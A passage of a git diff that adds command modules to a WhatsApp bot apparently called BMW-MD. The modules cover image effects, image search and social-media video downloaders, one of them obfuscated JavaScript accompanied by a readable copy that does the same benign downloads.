+else if (lien.match(/\.(jpeg|png|jpg)$/i)) {
+ try {
+ zk.sendMessage(dest, { image: { url: lien }, caption:message }, { quoted: ms });
+ }
+ catch (e) {
+ console.log("🥵🥵 Menu erreur " + e);
+ repondre("🥵🥵 Menu erreur " + e);
+ }
+}
+else {
+ repondre(lien)
+ repondre("link error");
+
+}
+});
+
+adams({ nomCom: "support", categorie: "General" }, async (dest, zk, commandeOptions) => {
+ const { ms, repondre, auteurMessage, } = commandeOptions;
+
+ repondre("THANK YOU FOR CHOOSING BMW, HERE ARE OUR SUPPORTIVE LINKS\n\n ☉ CHANNEL LINK IS HERE ☉ \n\n❒[https://whatsapp.com/channel/0029VaZuGSxEawdxZK9CzM0Y] \n\n ☉ GROUP LINK IS HERE ☉\n\n❒[https://chat.whatsapp.com/F5BXJci8EDS9AJ6sfKMXIS] \n\n ☉YOUTUBE LINK IS HERE ☉\n\n❒[https://www.youtube.com/@ibrahimaitech] \n\n\n𝑪𝒓𝒆𝒂𝒕𝒆𝒅 𝒃𝒚 𝑰𝒃𝒓𝒂𝒉𝒊𝒎 𝑨𝒅𝒂𝒎𝒔")
+ await zk.sendMessage(auteurMessage,{text : `THANK YOU FOR CHOOSING BMW-MD,MAKE SURE YOU FOLLOW THESE LINKS. `},{quoted :ms})
+
+})
diff --git a/scs/bmwca.js b/scs/bmwca.js
new file mode 100644
index 0000000..9fdacfe
--- /dev/null
+++ b/scs/bmwca.js
@@ -0,0 +1,71 @@
+const { adams } = require("../Ibrahim/adams");
+const canvacord = require("canvacord");
+const {uploadImageToImgur} = require("../Ibrahim/imgur")
+
+
+// Generic function to create a canvacord order
+function createCanvacordCommand(commandName, canvacordFunction) {
+ adams({
+ nomCom: commandName,
+ categorie: "Image-Edit",
+ reaction: "🎉"
+ }, async (origineMessage, zk, commandeOptions) => {
+ const { ms, msgRepondu, auteurMsgRepondu } = commandeOptions;
+ const clientId = 'b40a1820d63cd4e' ;
+
+ try {
+ let img;
+ if (msgRepondu) {
+
+ if (msgRepondu.imageMessage) {
+ const image = await zk.downloadAndSaveMediaMessage(msgRepondu.imageMessage)
+ img = await uploadImageToImgur(image, clientId )
+ } else {
+
+ img = await zk.profilePictureUrl(auteurMsgRepondu, 'image'); }
+ } else {
+ img = "https://i.pinimg.com/564x/84/09/12/840912dd744e6662ab211b8070b5d84c.jpg";
+ }
+
+ const result = await canvacordFunction(img);
+
+ await zk.sendMessage(origineMessage, { image: result }, { quoted: ms });
+ } catch (error) {
+ console.error(`Error when ordering "${commandName}":`, error);
+ }
+ });
+}
+
+// Créer des commandes avec différentes fonctions canvacord
+createCanvacordCommand("shit", canvacord.Canvacord.shit);
+createCanvacordCommand("wasted", canvacord.Canvacord.wasted);
+createCanvacordCommand("wanted", canvacord.Canvacord.wanted);
+createCanvacordCommand("trigger", canvacord.Canvacord.trigger);
+createCanvacordCommand("trash", canvacord.Canvacord.trash);
+createCanvacordCommand("rip", canvacord.Canvacord.rip);
+createCanvacordCommand("sepia", canvacord.Canvacord.sepia);
+createCanvacordCommand("rainbow", canvacord.Canvacord.rainbow);
+createCanvacordCommand("hitler", canvacord.Canvacord.hitler);
+createCanvacordCommand("invert", canvacord.Canvacord.invert);
+createCanvacordCommand("jail", canvacord.Canvacord.jail);
+createCanvacordCommand("affect", canvacord.Canvacord.affect);
+ createCanvacordCommand("beautiful", canvacord.Canvacord.beautiful);
+ createCanvacordCommand("blur", canvacord.Canvacord.blur);
+
+ createCanvacordCommand("circle", canvacord.Canvacord.circle);
+ createCanvacordCommand("facepalm", canvacord.Canvacord.facepalm);
+ createCanvacordCommand("greyscale", canvacord.Canvacord.greyscale);
+ createCanvacordCommand("joke", canvacord.Canvacord.jokeOverHead);
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/scs/bmwce.js b/scs/bmwce.js
new file mode 100644
index 0000000..b46bdfa
--- /dev/null
+++ b/scs/bmwce.js
@@ -0,0 +1,36 @@
+
+
+
+
+
+
+const {adams} = require('../Ibrahim/adams');
+var gis = require('g-i-s');
+
+
+adams({
+ nomCom: "img",
+ categorie: "Search",
+ reaction: "📷"
+},
+async (dest, zk, commandeOptions) => {
+ const { repondre, ms, arg } = commandeOptions;
+
+ if (!arg[0]) {
+ repondre('which image ? !');
+ return;
+ }
+
+ const searchTerm = arg.join(" ");
+ //repondre("termes " +searchTerm);
+ gis(searchTerm,envoiImage);
+
+ function envoiImage(e,r)
+ {
+ if(e){repondre("oups une error ")}else{for(var a=0;a<5;a++){zk.sendMessage(dest,{image:{url:r[a].url}},{quoted:ms});}}
+
+ }
+
+ //gis(searchTerm,envoiImage);
+
+});
diff --git a/scs/bmwcii.js b/scs/bmwcii.js
new file mode 100644
index 0000000..dd7aab1
--- /dev/null
+++ b/scs/bmwcii.js
@@ -0,0 +1,455 @@
+const _0x1d6e98=_0x1eb6;(function(_0xf9a2e0,_0x2faecd){const _0x43dd89=_0x1eb6,_0x293e23=_0xf9a2e0();while(!![]){try{const _0x1f628e=parseInt(_0x43dd89(0xa5))/0x1*(parseInt(_0x43dd89(0x90))/0x2)+-parseInt(_0x43dd89(0x9b))/0x3*(parseInt(_0x43dd89(0xa7))/0x4)+-parseInt(_0x43dd89(0x6c))/0x5+-parseInt(_0x43dd89(0x6d))/0x6+parseInt(_0x43dd89(0x77))/0x7*(-parseInt(_0x43dd89(0x71))/0x8)+-parseInt(_0x43dd89(0x89))/0x9+-parseInt(_0x43dd89(0xaf))/0xa*(-parseInt(_0x43dd89(0xa4))/0xb);if(_0x1f628e===_0x2faecd)break;else _0x293e23['push'](_0x293e23['shift']());}catch(_0x487988){_0x293e23['push'](_0x293e23['shift']());}}}(_0x153d,0xd2014));const {mediafireDl}=require(_0x1d6e98(0xaa)),{adams}=require('../Ibrahim/adams'),getFBInfo=require('@xaviabot/fb-downloader');function _0x1eb6(_0x1865c9,_0x17b9e5){const _0x153d53=_0x153d();return _0x1eb6=function(_0x1eb6fe,_0x491f5b){_0x1eb6fe=_0x1eb6fe-0x66;let _0xaa2fe1=_0x153d53[_0x1eb6fe];return _0xaa2fe1;},_0x1eb6(_0x1865c9,_0x17b9e5);}adams({'nomCom':_0x1d6e98(0x68),'categorie':_0x1d6e98(0xae)},async(_0x443624,_0x3293a5,_0x51afbf)=>{const _0x3a3bea=_0x1d6e98,{ms:_0x435786,repondre:_0x4dbe98,arg:_0x7a859c}=_0x51afbf,_0x57335b=_0x7a859c[_0x3a3bea(0x92)]('\x20');if(!_0x57335b)return _0x4dbe98(_0x3a3bea(0xa6));if(!_0x57335b['includes']('github.com'))return _0x4dbe98(_0x3a3bea(0x9a));let [,_0xf8e241,_0x3b19fc]=_0x57335b['match'](/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i)||[];_0x3b19fc=_0x3b19fc[_0x3a3bea(0x6f)](/.git$/,'');let _0x68e95=_0x3a3bea(0x84)+_0xf8e241+'/'+_0x3b19fc+'/zipball',_0x43b2a0=(await fetch(_0x68e95,{'method':_0x3a3bea(0xab)}))[_0x3a3bea(0x8e)]['get'](_0x3a3bea(0x94))[_0x3a3bea(0x97)](/attachment; filename=(.*)/)[0x1];_0x3293a5[_0x3a3bea(0x9c)](_0x443624,{'document':{'url':_0x68e95},'fileName':_0x43b2a0+_0x3a3bea(0x88),'mimetype':_0x3a3bea(0xa8)},{'quoted':_0x435786})[_0x3a3bea(0xa2)](_0x445e50=>_0x4dbe98('error'));}),adams({'nomCom':'tiktok','categorie':'Download'},async(_0x5d38de,_0x45ab7f,_0x11aebd)=>{const _0x574c55=_0x1d6e98,{ms:_0x73cd0c,repondre:_0x107b4c,arg:_0x19fa20}=_0x11aebd;let _0x71d1a2=_0x19fa20[_0x574c55(0x92)]('\x20');if(!_0x19fa20[0x0])return _0x107b4c(_0x574c55(0xa1));const _0x241546=await fetch(_0x574c55(0x8a)+_0x71d1a2),_0x257104=await _0x241546[_0x574c55(0x6e)]();await _0x107b4c('A\x20moment,\x20*BMW-MD*\x20is\x20Downloading\x20that...');const _0x30920c=_0x257104['data'][_0x574c55(0x87)];await _0x45ab7f['sendMessage'](_0x5d38de,{'video':{'url':_0x30920c},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x73cd0c});}),adams({'nomCom':_0x1d6e98(0x76),'categorie':_0x1d6e98(0xae)},async(_0x1c430f,_0x46a8e6,_0x102136)=>{const _0x29d5c5=_0x1d6e98,{ms:_0x4e1dcb,repondre:_0x1ced16,arg:_0xd2394d}=_0x102136;let _0x2ceba5=_0xd2394d[_0x29d5c5(0x92)]('\x20');if(!_0xd2394d[0x0]){_0x1ced16(_0x29d5c5(0x9f));return;}try{const _0x1481aa=await fetch(_0x29d5c5(0x8d)+_0x2ceba5),_0x15ff56=await _0x1481aa[_0x29d5c5(0x6e)](),_0x58f630=_0x15ff56[_0x29d5c5(0x7d)];_0x46a8e6[_0x29d5c5(0x9c)](_0x1c430f,{'image':{'url':_0x58f630},'caption':_0x29d5c5(0x66),'gifPlayback':![]},{'quoted':_0x4e1dcb});}catch(_0x21e9e6){_0x1ced16(_0x29d5c5(0x99)+_0x21e9e6);}}),adams({'nomCom':_0x1d6e98(0xac),'categorie':_0x1d6e98(0xae)},async(_0x22f059,_0x461ec0,_0x1afc29)=>{const _0x5fc0ca=_0x1d6e98,{ms:_0xee7e60,repondre:_0x401ba9,arg:_0x9693b2}=_0x1afc29;if(!_0x9693b2[0x0]){_0x401ba9(_0x5fc0ca(0xa0));return;};try{let _0x352bc4=await fetch(_0x5fc0ca(0x78));_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0]['type']==_0x5fc0ca(0x93)?_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'video':{'url':_0x352bc4[_0x5fc0ca(0x8c)]['data'][_0x5fc0ca(0x8c)][0x0]['url_download']},'caption':_0x5fc0ca(0x98),'gifPlayback':![]},{'quoted':_0xee7e60}):_0x461ec0[_0x5fc0ca(0x9c)](_0x22f059,{'image':{'url':_0x352bc4[_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][_0x5fc0ca(0x8c)][0x0][_0x5fc0ca(0x82)]},'caption':'Here\x20is\x20your\x20Instagram\x20image.\x0aPowered\x20by\x20*BMW-MD*'});}catch(_0x37cee8){_0x401ba9(_0x5fc0ca(0x69)+_0x37cee8);}}),adams({'nomCom':'video-dl','categorie':_0x1d6e98(0xae)},async(_0x4c1826,_0x4a0561,_0x44059d)=>{const _0x346bd9=_0x1d6e98,{ms:_0x4008b1,repondre:_0x1bfa04,arg:_0x2ccc17}=_0x44059d;let _0x53688d=_0x2ccc17[_0x346bd9(0x92)]('\x20');if(!_0x2ccc17[0x0]){_0x1bfa04(_0x346bd9(0x8f));return;}try{const _0x46927c=await fetch('https://www.noobs-api.000.pe/dipto/alldl?url='+_0x53688d),_0x139c10=await _0x46927c[_0x346bd9(0x6e)](),_0x2dbcc9=_0x139c10['result'];_0x4a0561[_0x346bd9(0x9c)](_0x4c1826,{'video':{'url':_0x2dbcc9},'caption':'_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','gifPlayback':![]},{'quoted':_0x4008b1});}catch(_0x1154f4){_0x1bfa04(_0x346bd9(0x99)+_0x1154f4);}}),adams({'nomCom':_0x1d6e98(0x75),'categorie':_0x1d6e98(0xae)},async(_0x5b8e3d,_0x5540c4,_0x1e1c26)=>{const _0x30896a=_0x1d6e98,{ms:_0x48c053,repondre:_0x47575a,arg:_0x21e5ed}=_0x1e1c26;let _0x4adde6=_0x21e5ed[_0x30896a(0x92)]('\x20');if(!_0x21e5ed[0x0]){_0x47575a('Please\x20insert\x20a\x20*TWITTER\x20or\x20X\x20Video\x20Link*\x20for\x20*BMW-MD*\x20to\x20download\x20');return;}try{const _0x395757=await fetch(_0x30896a(0x81)+_0x4adde6),_0x5051a9=await _0x395757[_0x30896a(0x6e)]();if(_0x5051a9&&_0x5051a9['data']&&_0x5051a9[_0x30896a(0x8c)]['HD']){const _0x18124e=_0x5051a9[_0x30896a(0x8c)]['HD'];_0x5540c4[_0x30896a(0x9c)](_0x5b8e3d,{'video':{'url':_0x18124e},'caption':_0x30896a(0x85),'gifPlayback':![]},{'quoted':_0x48c053});}}catch(_0x3ef46){_0x47575a(_0x30896a(0x72)+_0x3ef46);}}),adams({'nomCom':_0x1d6e98(0x79),'categorie':_0x1d6e98(0xae)},async(_0x236640,_0x2eef16,_0x1194ad)=>{const _0x14ef5d=_0x1d6e98,{ms:_0x3ce23c,repondre:_0xbdf30c,arg:_0x594be1}=_0x1194ad;let _0x4625bd=_0x594be1[_0x14ef5d(0x92)]('\x20');if(!_0x594be1[0x0]){_0xbdf30c(_0x14ef5d(0x8b));return;};try{const _0x26e13c=await mediafireDl(_0x4625bd);if(_0x26e13c[0x0]['size'][_0x14ef5d(0x70)]('MB')[0x0]>=0x64)return m[_0x14ef5d(0x74)](_0x14ef5d(0x67));await _0x2eef16[_0x14ef5d(0x9c)](_0x236640,{'document':{'url':_0x26e13c[0x0][_0x14ef5d(0x9d)]},'fileName':_0x26e13c[0x0][_0x14ef5d(0x7a)],'mimetype':_0x26e13c[0x0][_0x14ef5d(0x7e)],'caption':_0x14ef5d(0x73)+_0x26e13c[0x0][_0x14ef5d(0x7a)]},{'quoted':_0x3ce23c});}catch(_0x32298d){_0xbdf30c(_0x14ef5d(0x7f)+_0x32298d);}}),adams({'nomCom':'fb','categorie':_0x1d6e98(0xae),'reaction':_0x1d6e98(0xa3)},async(_0x1a25c6,_0x1093b2,_0xdd563)=>{const _0x5f1dc6=_0x1d6e98,{repondre:_0x5560c9,ms:_0x3fd942,arg:_0x23f76c}=_0xdd563;if(!_0x23f76c[0x0]){_0x5560c9('Insert\x20a\x20public\x20facebook\x20video\x20link!');return;}const _0x210699=_0x23f76c[_0x5f1dc6(0x92)]('\x20');try{getFBInfo(_0x210699)[_0x5f1dc6(0x86)](_0x508db8=>{const _0x1eea69=_0x5f1dc6;let _0xe8c5f='\x0a\x20*Title:*\x20'+_0x508db8[_0x1eea69(0x6b)]+_0x1eea69(0x80)+_0x508db8[_0x1eea69(0xad)]+'\x0a\x20';_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'image':{'url':_0x508db8[_0x1eea69(0x95)]},'caption':_0xe8c5f},{'quoted':_0x3fd942}),_0x1093b2[_0x1eea69(0x9c)](_0x1a25c6,{'video':{'url':_0x508db8['hd']},'caption':_0x1eea69(0x7c)},{'quoted':_0x3fd942});})[_0x5f1dc6(0xa2)](_0x2d1226=>{const _0x524dfa=_0x5f1dc6;console[_0x524dfa(0x7b)](_0x524dfa(0xa9),_0x2d1226),_0x5560c9(_0x524dfa(0x6a));});}catch(_0xab1487){console[_0x5f1dc6(0xb1)](_0x5f1dc6(0x9e),_0xab1487),_0x5560c9('An\x20error\x20occurred\x20while\x20downloading\x20your\x20media.',_0xab1487);}}),adams({'nomCom':_0x1d6e98(0xb0),'categorie':'Download','reaction':_0x1d6e98(0xa3)},async(_0x7c724e,_0x49724a,_0x1edb91)=>{const _0x383628=_0x1d6e98,{repondre:_0x392003,ms:_0x536e9a,arg:_0x479e12}=_0x1edb91;if(!_0x479e12[0x0]){_0x392003(_0x383628(0x91));return;}const _0x439e43=_0x479e12['join']('\x20');try{getFBInfo(_0x439e43)[_0x383628(0x86)](_0x365ad0=>{const _0x1d79bf=_0x383628;let _0x3e059b=_0x1d79bf(0x83)+_0x365ad0[_0x1d79bf(0x6b)]+_0x1d79bf(0x80)+_0x365ad0[_0x1d79bf(0xad)]+'\x0a\x20';_0x49724a[_0x1d79bf(0x9c)](_0x7c724e,{'image':{'url':_0x365ad0[_0x1d79bf(0x95)]},'caption':_0x3e059b},{'quoted':_0x536e9a}),_0x49724a['sendMessage'](_0x7c724e,{'video':{'url':_0x365ad0['sd']},'caption':_0x1d79bf(0x7c)},{'quoted':_0x536e9a});})['catch'](_0x2623c6=>{const _0x52a265=_0x383628;console[_0x52a265(0x7b)](_0x52a265(0xa9),_0x2623c6),_0x392003(_0x2623c6);});}catch(_0x43dbf9){console[_0x383628(0xb1)](_0x383628(0x96),_0x43dbf9),_0x392003('An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media.',_0x43dbf9);}});function _0x153d(){const _0x296621=['Give\x20me\x20any\x20social\x20media\x20image\x20link!','provide\x20an\x20instragam\x20link\x20','Please\x20insert\x20a\x20tiktok\x20video\x20link!','catch','📽️','5980601uMvVYR','12RZrvCF','Please\x20provide\x20a\x20valid\x20github\x20link.','4OYNNmK','application/zip','Error:','../Ibrahim/dl/Function','HEAD','instagram','url','Download','100cXXYXg','fb2','error','_╰►IMAGE\x20DOWNLOADED\x20BY_\x20*BMW-MD*','File\x20tooooo\x20big','gitclone','An\x20error\x20Occurred\x20while\x20downloading\x20your\x20media.\x0a*KEEP\x20USING\x20BMW-MD*','try\x20fb2\x20on\x20this\x20link','title','4483660cgMOkD','8857014aRUpXw','json','replace','split','48FSKnpN','I\x20am\x20unable\x20to\x20download\x20your\x20media.\x20\x0a\x20','Downloaded\x20by\x20FLASH-MD:\x20','reply','twitter','image-dl','746403srBrud','https://www.guruapi.tech/api/igdlv1?url=${link}','mediafire','nama','log','_╰►VIDEO\x20DOWNLOADED\x20BY_\x20*BMW-MD*','result','mime','I\x20am\x20unable\x20to\x20download\x20the\x20file.\x20\x0a\x20','\x0a\x0a\x20\x0a\x20*Direct\x20Link:*\x20','https://api.maher-zubair.tech/download/twitter?url=','url_download','\x0a\x20*Title:*\x20','https://api.github.com/repos/','Here\x20is\x20your\x20Twitter\x20Video.\x0a\x20_Downloaded\x20by_\x20*BMW-MD*','then','no_wm','.zip','1970892oUPbXZ','https://api.prabath-md.tech/api/tiktokdl?url=','Provide\x20mediafire\x20link\x0a\x0amediafire\x20','data','https://aiodownloader.onrender.com/download?url=','headers','Give\x20me\x20any\x20social\x20media\x20video\x20link!','36854QLKeDE','Insert\x20a\x20public\x20facebook\x20video\x20link!\x20!','join','video','content-disposition','thumbnail','An\x20error\x20occurred\x20while\x20Bmw-Md\x20was\x20downloading\x20your\x20media:','match','Here\x20is\x20your\x20Instagram\x20video.\x0aPowered\x20by\x20*BMW-MD*','A\x20fatal\x20error\x20has\x20occured...\x20\x0a\x20','Is\x20that\x20a\x20GitHub\x20repo\x20link\x20?!','4698573KGlmhD','sendMessage','link','An\x20error\x20occurred\x20while\x20*BMW-MD*\x20was\x20downloading\x20your\x20media:'];_0x153d=function(){return _0x296621;};return _0x153d();}
+
+
+
+/**
+const {
+ mediafireDl
+} = require("../Ibrahim/dl/Function");
+const {
+ adams
+} = require("../Ibrahim/adams");
+const getFBInfo = require("@xaviabot/fb-downloader");
+adams({
+ 'nomCom': "gitclone",
+ 'categorie': "Download"
+}, async (_0x1c2fd1, _0x45058e, _0x4f56d8) => {
+ const {
+ ms: _0x4ec678,
+ repondre: _0x3f8a54,
+ arg: _0x18d6ab
+ } = _0x4f56d8;
+ const _0x4bab3c = _0x18d6ab.join(" ");
+ if (!_0x4bab3c) {
+ return _0x3f8a54("Please provide a valid github link.");
+ }
+ if (!_0x4bab3c.includes("github.com")) {
+ return _0x3f8a54("Is that a GitHub repo link ?!");
+ }
+ let [, _0x3acdad, _0x3f9933] = _0x4bab3c.match(/(?:https|git)(?::\/\/|@)github\.com[\/:]([^\/:]+)\/(.+)/i) || [];
+ _0x3f9933 = _0x3f9933.replace(/.git$/, '');
+ let _0x394ebd = "https://api.github.com/repos/" + _0x3acdad + '/' + _0x3f9933 + "/zipball";
+ let _0x5c6799 = (await fetch(_0x394ebd, {
+ 'method': "HEAD"
+ })).headers.get("content-disposition").match(/attachment; filename=(.*)/)[1];
+ _0x45058e.sendMessage(_0x1c2fd1, {
+ 'document': {
+ 'url': _0x394ebd
+ },
+ 'fileName': _0x5c6799 + ".zip",
+ 'mimetype': "application/zip"
+ }, {
+ 'quoted': _0x4ec678
+ })["catch"](_0x2c3dbe => _0x3f8a54("error"));
+});
+adams({
+ 'nomCom': "tiktok",
+ 'categorie': "Download"
+}, async (_0x42b1bf, _0x3a058d, _0x11f9d9) => {
+ const {
+ ms: _0x333a0e,
+ repondre: _0x1a32e5,
+ arg: _0x1b0b51
+ } = _0x11f9d9;
+ let _0x21bd31 = _0x1b0b51.join(" ");
+ if (!_0x1b0b51[0]) {
+ return _0x1a32e5("Please insert a tiktok video link!");
+ }
+ const _0x5d8397 = await fetch("https://api.prabath-md.tech/api/tiktokdl?url=" + _0x21bd31);
+ const _0x38d5e1 = await _0x5d8397.json();
+ await _0x1a32e5("A moment, *BMW-MD* is Downloading that...");
+ const _0x504587 = _0x38d5e1.data.no_wm;
+ await _0x3a058d.sendMessage(_0x42b1bf, {
+ 'video': {
+ 'url': _0x504587
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x333a0e
+ });
+});
+adams({
+ 'nomCom': "image-dl",
+ 'categorie': "Download"
+}, async (_0x38d623, _0x42db7e, _0x1281b3) => {
+ const {
+ ms: _0x529878,
+ repondre: _0x226795,
+ arg: _0x2f8336
+ } = _0x1281b3;
+ let _0x3fc64a = _0x2f8336.join(" ");
+ if (!_0x2f8336[0]) {
+ _0x226795("Give me any social media image link!");
+ return;
+ }
+ try {
+ const _0x13451d = await fetch("https://aiodownloader.onrender.com/download?url=" + _0x3fc64a);
+ const _0xb125b5 = await _0x13451d.json();
+ const _0x9cb53 = _0xb125b5.result;
+ _0x42db7e.sendMessage(_0x38d623, {
+ 'image': {
+ 'url': _0x9cb53
+ },
+ 'caption': "_╰►IMAGE DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x529878
+ });
+ } catch (_0x53d9be) {
+ _0x226795("A fatal error has occured... \n " + _0x53d9be);
+ }
+});
+adams({
+ 'nomCom': "instagram",
+ 'categorie': "Download"
+}, async (_0xf2a010, _0x3c01ae, _0x488f66) => {
+ const {
+ ms: _0x324321,
+ repondre: _0x1eddf6,
+ arg: _0x57528e
+ } = _0x488f66;
+ if (!_0x57528e[0]) {
+ _0x1eddf6("provide an instragam link ");
+ return;
+ }
+ ;
+ try {
+ let _0xfb5ca8 = await fetch("https://www.guruapi.tech/api/igdlv1?url=${link}");
+ if (_0xfb5ca8.data.data.data[0].type == "video") {
+ _0x3c01ae.sendMessage(_0xf2a010, {
+ 'video': {
+ 'url': _0xfb5ca8.data.data.data[0].url_download
+ },
+ 'caption': "Here is your Instagram video.\nPowered by *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x324321
+ });
+ } else {
+ _0x3c01ae.sendMessage(_0xf2a010, {
+ 'image': {
+ 'url': _0xfb5ca8.data.data.data[0].url_download
+ },
+ 'caption': "Here is your Instagram image.\nPowered by *BMW-MD*"
+ });
+ }
+ } catch (_0x4fdba6) {
+ _0x1eddf6("An error Occurred while downloading your media.\n*KEEP USING BMW-MD*" + _0x4fdba6);
+ }
+});
+adams({
+ 'nomCom': "video-dl",
+ 'categorie': "Download"
+}, async (_0x46a8a0, _0x17b453, _0x2b60f2) => {
+ const {
+ ms: _0x589c36,
+ repondre: _0x574033,
+ arg: _0x23ec22
+ } = _0x2b60f2;
+ let _0x5e9106 = _0x23ec22.join(" ");
+ if (!_0x23ec22[0]) {
+ _0x574033("Give me any social media video link!");
+ return;
+ }
+ try {
+ const _0x22af05 = await fetch("https://www.noobs-api.000.pe/dipto/alldl?url=" + _0x5e9106);
+ const _0x170f9e = await _0x22af05.json();
+ const _0x3c3efe = _0x170f9e.result;
+ _0x17b453.sendMessage(_0x46a8a0, {
+ 'video': {
+ 'url': _0x3c3efe
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x589c36
+ });
+ } catch (_0x1cf0b8) {
+ _0x574033("A fatal error has occured... \n " + _0x1cf0b8);
+ }
+});
+adams({
+ 'nomCom': "twitter",
+ 'categorie': "Download"
+}, async (_0x40d611, _0x29f4c2, _0x216827) => {
+ const {
+ ms: _0x178e4c,
+ repondre: _0x330fea,
+ arg: _0x1091be
+ } = _0x216827;
+ let _0x35e7e3 = _0x1091be.join(" ");
+ if (!_0x1091be[0]) {
+ _0x330fea("Please insert a *TWITTER or X Video Link* for *BMW-MD* to download ");
+ return;
+ }
+ try {
+ const _0x1e0844 = await fetch("https://api.maher-zubair.tech/download/twitter?url=" + _0x35e7e3);
+ const _0x1e3a2f = await _0x1e0844.json();
+ if (_0x1e3a2f && _0x1e3a2f.data && _0x1e3a2f.data.HD) {
+ const _0x32bc4e = _0x1e3a2f.data.HD;
+ _0x29f4c2.sendMessage(_0x40d611, {
+ 'video': {
+ 'url': _0x32bc4e
+ },
+ 'caption': "Here is your Twitter Video.\n _Downloaded by_ *BMW-MD*",
+ 'gifPlayback': false
+ }, {
+ 'quoted': _0x178e4c
+ });
+ }
+ } catch (_0x19fce0) {
+ _0x330fea("I am unable to download your media. \n " + _0x19fce0);
+ }
+});
+adams({
+ 'nomCom': "mediafire",
+ 'categorie': "Download"
+}, async (_0x12d48b, _0x1a75ba, _0x253e26) => {
+ const {
+ ms: _0x1cac40,
+ repondre: _0x56acc0,
+ arg: _0x4f5641
+ } = _0x253e26;
+ let _0x404891 = _0x4f5641.join(" ");
+ if (!_0x4f5641[0]) {
+ _0x56acc0("Provide mediafire link\n\nmediafire ");
+ return;
+ }
+ ;
+ try {
+ const _0x5c499c = await mediafireDl(_0x404891);
+ if (_0x5c499c[0].size.split('MB')[0] >= 100) {
+ return m.reply("File tooooo big");
+ }
+ await _0x1a75ba.sendMessage(_0x12d48b, {
+ 'document': {
+ 'url': _0x5c499c[0].link
+ },
+ 'fileName': _0x5c499c[0].nama,
+ 'mimetype': _0x5c499c[0].mime,
+ 'caption': "Downloaded by FLASH-MD: " + _0x5c499c[0].nama
+ }, {
+ 'quoted': _0x1cac40
+ });
+ } catch (_0x572051) {
+ _0x56acc0("I am unable to download the file. \n " + _0x572051);
+ }
+});
+adams({
+ 'nomCom': 'fb',
+ 'categorie': "Download",
+ 'reaction': "📽️"
+}, async (_0x3a78a5, _0xc18979, _0xf0a7a0) => {
+ const {
+ repondre: _0x3c875a,
+ ms: _0x2e8d37,
+ arg: _0xd0f2d0
+ } = _0xf0a7a0;
+ if (!_0xd0f2d0[0]) {
+ _0x3c875a("Insert a public facebook video link!");
+ return;
+ }
+ const _0x5938f0 = _0xd0f2d0.join(" ");
+ try {
+ getFBInfo(_0x5938f0).then(_0x44be8d => {
+ let _0x76640a = "\n *Title:* " + _0x44be8d.title + "\n\n \n *Direct Link:* " + _0x44be8d.url + "\n ";
+ _0xc18979.sendMessage(_0x3a78a5, {
+ 'image': {
+ 'url': _0x44be8d.thumbnail
+ },
+ 'caption': _0x76640a
+ }, {
+ 'quoted': _0x2e8d37
+ });
+ _0xc18979.sendMessage(_0x3a78a5, {
+ 'video': {
+ 'url': _0x44be8d.hd
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
+ }, {
+ 'quoted': _0x2e8d37
+ });
+ })["catch"](_0x41d84f => {
+ console.log("Error:", _0x41d84f);
+ _0x3c875a("try fb2 on this link");
+ });
+ } catch (_0x1d71c9) {
+ console.error("An error occurred while *BMW-MD* was downloading your media:", _0x1d71c9);
+ _0x3c875a("An error occurred while downloading your media.", _0x1d71c9);
+ }
+});
+adams({
+ 'nomCom': "fb2",
+ 'categorie': "Download",
+ 'reaction': "📽️"
+}, async (_0xcad438, _0x341fa4, _0x1bf24c) => {
+ const {
+ repondre: _0x55e155,
+ ms: _0x41f279,
+ arg: _0x2b5eb7
+ } = _0x1bf24c;
+ if (!_0x2b5eb7[0]) {
+ _0x55e155("Insert a public facebook video link! !");
+ return;
+ }
+ const _0x1fd99e = _0x2b5eb7.join(" ");
+ try {
+ getFBInfo(_0x1fd99e).then(_0x2bbae1 => {
+ let _0x8231c = "\n *Title:* " + _0x2bbae1.title + "\n\n \n *Direct Link:* " + _0x2bbae1.url + "\n ";
+ _0x341fa4.sendMessage(_0xcad438, {
+ 'image': {
+ 'url': _0x2bbae1.thumbnail
+ },
+ 'caption': _0x8231c
+ }, {
+ 'quoted': _0x41f279
+ });
+ _0x341fa4.sendMessage(_0xcad438, {
+ 'video': {
+ 'url': _0x2bbae1.sd
+ },
+ 'caption': "_╰►VIDEO DOWNLOADED BY_ *BMW-MD*"
+ }, {
+ 'quoted': _0x41f279
+ });
+ })["catch"](_0x3eb21d => {
+ console.log("Error:", _0x3eb21d);
+ _0x55e155(_0x3eb21d);
+ });
+ } catch (_0x2b1e09) {
+ console.error("An error occurred while Bmw-Md was downloading your media:", _0x2b1e09);
+ _0x55e155("An error occurred while Bmw-Md was downloading your media.", _0x2b1e09);
+ }
+});
+
+
+const {adams} = require('../Ibrahim/adams');
+const fs = require('fs');
+const getFBInfo = require("@xaviabot/fb-downloader");
+const { default: axios } = require('axios');
+
+adams({nomCom : "instagram" , categorie : "Download"},async (dest , zk , commandeOptions)=>{
+ const {ms,repondre,arg} = commandeOptions ;
+
+ let link = arg.join(' ')
+
+ if (!arg[0]) { repondre('Veillez insérer un lien video instagramme');return};
+
+ try {
+
+ let igvid = await axios('https://vihangayt.me/download/instagram?url='+link)
+
+ if (igvid.data.data.data[0].type == 'video') {
+ zk.sendMessage(dest,{video : {url : igvid.data.data.data[0].url},caption : "ig video downloader powered by *Bmw-Md*",gifPlayback : false },{quoted : ms})
+ }
+ else {
